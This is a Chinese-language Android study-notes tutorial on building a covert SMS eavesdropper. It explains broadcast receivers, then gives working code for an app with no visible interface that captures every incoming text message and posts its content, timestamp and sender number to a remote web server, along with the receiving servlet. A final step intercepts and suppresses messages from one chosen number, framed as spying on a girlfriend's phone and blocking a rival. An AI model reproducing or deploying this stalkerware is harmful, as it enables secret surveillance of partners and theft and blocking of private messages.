1. 程式人生 > >android學習筆記---37_採用廣播接收者實現簡訊竊聽,以及攔截特定號碼的簡訊,以及該簡訊的上傳轉發

android學習筆記---37_採用廣播接收者實現簡訊竊聽,以及攔截特定號碼的簡訊,以及該簡訊的上傳轉發

37_採用廣播接收者實現簡訊竊聽器

1.       原理:當系統接收到簡訊時候,會發出一個廣播Intent,Intentaction名稱為android.provider.Telephony.SMS_RECEIVED,Intent存放了系統接收到的簡訊內容,我們使用名稱“pdus”即可以從Intent中取得簡訊的內容。

廣播被分為兩種不同的型別:“普通廣播(Normal broadcasts)”和“有序廣播(Ordered broadcasts)”。前者是完全非同步的,所有接收者(邏輯上)都在同一時刻執行,對訊息傳遞的效率而言這是很好的做法,但缺點是:接收者不能將處理結果傳遞給下一個接收者,並且無法終止廣播Intent

的傳播;然而後者是逐個執行接收者——系統會按照接收者宣告的優先級別(宣告在intent-filter元素的android:priority屬性中,數越大優先級別越高,取值範圍:-10001000。也可以呼叫IntentFilter物件的setPriority()進行設定),按順序逐次執行。

Context.sendBroadcast()

傳送的是普通廣播,所有訂閱者都有機會獲得並進行處理。

Context.sendOrderedBroadcast()

傳送的是有序廣播,系統會根據接收者宣告的優先級別按順序逐個執行接收者,前面的接收者有權終止廣播(BroadcastReceiver.abortBroadcast())

,如果廣播被前面的接收者終止,後面的接收者就再也無法獲取到廣播。對於有序廣播,前面的接收者可以將處理結果存放進廣播Intent,然後傳給下一個接收者。

廣播接收者(BroadcastReceiver)用於接收廣播Intent,廣播Intent的傳送是通過呼叫Context.sendBroadcast()Context.sendOrderedBroadcast()來實現的。通常一個廣播Intent可以被訂閱了此Intent的多個廣播接收者所接收,這個特性跟JMS中的Topic訊息接收者類似。要實現一個廣播接收者方法如下:

第一步:繼承BroadcastReceiver,並重寫onReceive()

方法。

public class IncomingSMSReceiver extends BroadcastReceiver {

         @Override public void onReceive(Context context, Intent intent) {

         }

}

第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:

第一種:使用程式碼進行訂閱

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");

IncomingSMSReceiver receiver = new IncomingSMSReceiver();

registerReceiver(receiver, filter);

第二種:在AndroidManifest.xml檔案中的<application>節點裡進行訂閱:

<receiver android:name=".IncomingSMSReceiver">

    <intent-filter>

         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

    </intent-filter>

</receiver>

使用廣播接收者竊聽簡訊

如果你想竊聽別人接收到的簡訊,達到你不可告人的目的,那麼本節內容可以實現你的需求。

當系統收到簡訊時,會發出一個action名稱為android.provider.Telephony.SMS_RECEIVED的廣播Intent,該Intent存放了接收到的簡訊內容,使用名稱“pdus”即可從Intent中獲取簡訊內容。

public class IncomingSMSReceiver extends BroadcastReceiver {

private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";

@Override public void onReceive(Context context, Intent intent) {

if (intent.getAction().equals(SMS_RECEIVED)) {

         SmsManager sms = SmsManager.getDefault();

         Bundle bundle = intent.getExtras();

         if (bundle != null) {

         Object[] pdus = (Object[]) bundle.get("pdus");

         SmsMessage[] messages = new SmsMessage[pdus.length];

         for (int i = 0; i < pdus.length; i++) messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);

                   for (SmsMessage message : messages){

                            String msg = message.getMessageBody();

                            String to = message.getOriginatingAddress();

                            sms.sendTextMessage(to, null, msg, null, null);

}}}}}

AndroidManifest.xml檔案中的<application>節點裡對接收到簡訊的廣播Intent進行訂閱:

<receiver android:name=".IncomingSMSReceiver">

<intent-filter><action android:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver>

AndroidManifest.xml檔案中新增以下許可權:

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收簡訊許可權 -->

<uses-permission android:name="android.permission.SEND_SMS"/><!-- 傳送簡訊許可權 -->

除了簡訊到來廣播IntentAndroid還有很多廣播Intent,如:開機啟動、電池電量變化、時間已經改變等廣播Intent

l  接收電池電量變化廣播Intent ,在AndroidManifest.xml檔案中的<application>節點裡訂閱此Intent:

<receiver android:name=".IncomingSMSReceiver">

    <intent-filter>

         <action android:name="android.intent.action.BATTERY_CHANGED"/>

    </intent-filter>

</receiver>

l  接收開機啟動廣播Intent,在AndroidManifest.xml檔案中的<application>節點裡訂閱此Intent:

<receiver android:name=".IncomingSMSReceiver">

    <intent-filter>

         <action android:name="android.intent.action.BOOT_COMPLETED"/>

    </intent-filter>

</receiver>

並且要進行許可權宣告:

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

下面是簡訊竊聽器的第一步需要的程式碼:可以實現把接收到的簡訊傳送給網路中的web程式

1.       新建android專案,注意建的時候不要選擇建立activity。這個程式要實現竊聽,這樣就不會建立介面,不會被手機使用者發現。

SMSListener

package com.credream.smslistener;

import java.net.HttpURLConnection;

import java.net.URL;

import java.net.URLEncoder;

import java.text.SimpleDateFormat;

import java.util.Date;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.telephony.gsm.SmsMessage;

public class SMSBroadcastReceiver extends BroadcastReceiver

{

//廣播接受者,把廣播意圖傳入廣播接受者中

@Override

public void onReceive(Context context, Intent intent)

{

           //通過這個可以從傳來的意圖物件中得到短息的內容

           Object[] pdus = (Object[]) intent.getExtras().get("pdus");

           for(Object p : pdus){

                    byte[] pdu = (byte[]) p;

                    //生成簡訊訊息物件

                    SmsMessage message = SmsMessage.createFromPdu(pdu);

                    //取得簡訊的各個內容

                    String content = message.getMessageBody();//取得簡訊內容

                    Date date = new Date(message.getTimestampMillis());//取得簡訊接收的時間,返回的是lang型別的

                    SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//轉換一下得到的接收時間的格式

                    String receiveTime = format.format(date);

                    String senderNumber = message.getOriginatingAddress();//取得簡訊的來源地址,也就是傳送的手機號

                    //把資料傳送給竊聽者,可以有兩種方法,一種是直接給竊聽者發簡訊

                    //另一種方法是,把資料上傳到web伺服器中,第一種的話會扣除簡訊費,那麼會

                    //如果簡訊很多的話,容易被使用者發現.所以這裡選擇第二種.

                    sendSMS(content, receiveTime, senderNumber);

           }

}

private boolean sendSMS(String content, String receiveTime, String senderNumber) {

           try{

                    //post方法,把資料封裝到post方法中發給遠端的伺服器

                    String params = "content="+ URLEncoder.encode(content, "UTF-8")+

                             "&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;

                    byte[] entity = params.getBytes();

                    //路徑

                    String path = "http://192.168.0.110:6118/SMSListenerTest/ReceiveSMSServlet";

                    HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();

                    conn.setConnectTimeout(5000);

                    conn.setRequestMethod("POST");

                    conn.setDoOutput(true);//允許輸出資料

                    conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

                    conn.setRequestProperty("Content-Length", String.valueOf(entity.length));

                    conn.getOutputStream().write(entity);

                    if(conn.getResponseCode() == 200){//判斷請求有無成功

                             return true;

                    }

           }catch (Exception e) {

                    e.printStackTrace();

           }

           return false;

}

}

2.       在清單檔案中配置:

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.credream.smslistener"

    android:versionCode="1"

    android:versionName="1.0" >

<uses-sdk android:minSdkVersion="8" />

<application

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name" >

<!-- 配置廣播接收者,通過意圖過濾器可以完成廣播接收的定義,當收到簡訊的時候,會例項化

廣播接收者,並且把廣播意圖物件傳入廣播接收者中.android.provider.Telephony.SMS_RECEIVED

廣播接收者是通過呼叫onReceive方法得到廣播意圖物件.

-->

<receiver android:name=".SMSBroadcastReceiver">

<intent-filter>

<action android:name="android.provider.Telephony.SMS_RECEIVED"/>

</intent-filter>

</receiver>

</application>

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收簡訊許可權 -->

<!-- 訪問internet許可權 -->

<uses-permission android:name="android.permission.INTERNET"/>

</manifest>

3.  然後建立用於接收簡訊的web專案:SMSListenerTest

package com.credram.servlet;

import java.io.IOException;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

public class ReceiveSMSServlet extends HttpServlet {

private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

           // TODO Auto-generated method stub

}

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

           String content = request.getParameter("content");//接收簡訊內容

           String receiveTime = request.getParameter("receivetime");//接收簡訊時間

           String senderNumber = request.getParameter("sendernumber");//簡訊來源手機號

           System.out.println("簡訊內容:"+ content);

           System.out.println("接收時間:"+ receiveTime);

           System.out.println("傳送者:"+ senderNumber);

}

}

4.       web.xml中配置Servlet

<servlet>

<servlet-name>ReceiveSMSServlet</servlet-name>

<servlet-class>com.credram.servlet.ReceiveSMSServlet</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>ReceiveSMSServlet</servlet-name>

<url-pattern>/ReceiveSMSServlet</url-pattern>

</servlet-mapping>

5.  開始測試:首先把android專案部署到模擬器credream埠號為5554中,然後開啟web專案

6.  開啟模擬器xiaofeng埠號位5556,然後用該模擬器給credream5554模擬器傳送簡訊,可以檢視tomcat,控制檯,這時候已經打印出了結果:

簡訊內容:Wo shi lidewei

接收時間:2013-04-19 15:19:49

傳送者:15555215556

7.  現在假設5554是你女友的手機號碼,5556是你情敵的號碼,現在遮蔽掉

5556發給5554

簡訊應用有一個簡訊接受者,來接收系統傳送的簡訊到來廣播。

系統傳送的是有序廣播,那麼會根據優先順序來為簡訊接收者提供廣播。

那麼只要自己建立的簡訊接收者的優先順序高於系統簡訊應用的優先順序那麼就可以了,然後在自己建立的簡訊接收者中終止簡訊廣播的傳播。

這時候需要新增以下程式碼:

SMSBroadcastReceiver類中新增:

publicvoid onReceive(Context context, Intent intent)

{//新增下面程式碼,如果是5556來的簡訊的話,就遮蔽掉

sendSMS(content, receiveTime, senderNumber);

if("5556".equals(senderNumber)){

abortBroadcast();//終止廣播

}

}

然後在清單檔案中,修改廣播:新增上廣播意圖的優先順序1000,也就是最高優先順序

<intent-filter android:priority="1000">

<action android:name="android.provider.Telephony.SMS_RECEIVED"/>

</intent-filter>

2013-4-19 23:47:02 org.apache.catalina.core.StandardContext reload

資訊: Reloading this Context has started

簡訊內容:I love you

接收時間:2013-04-19 15:49:07

傳送者:15555215556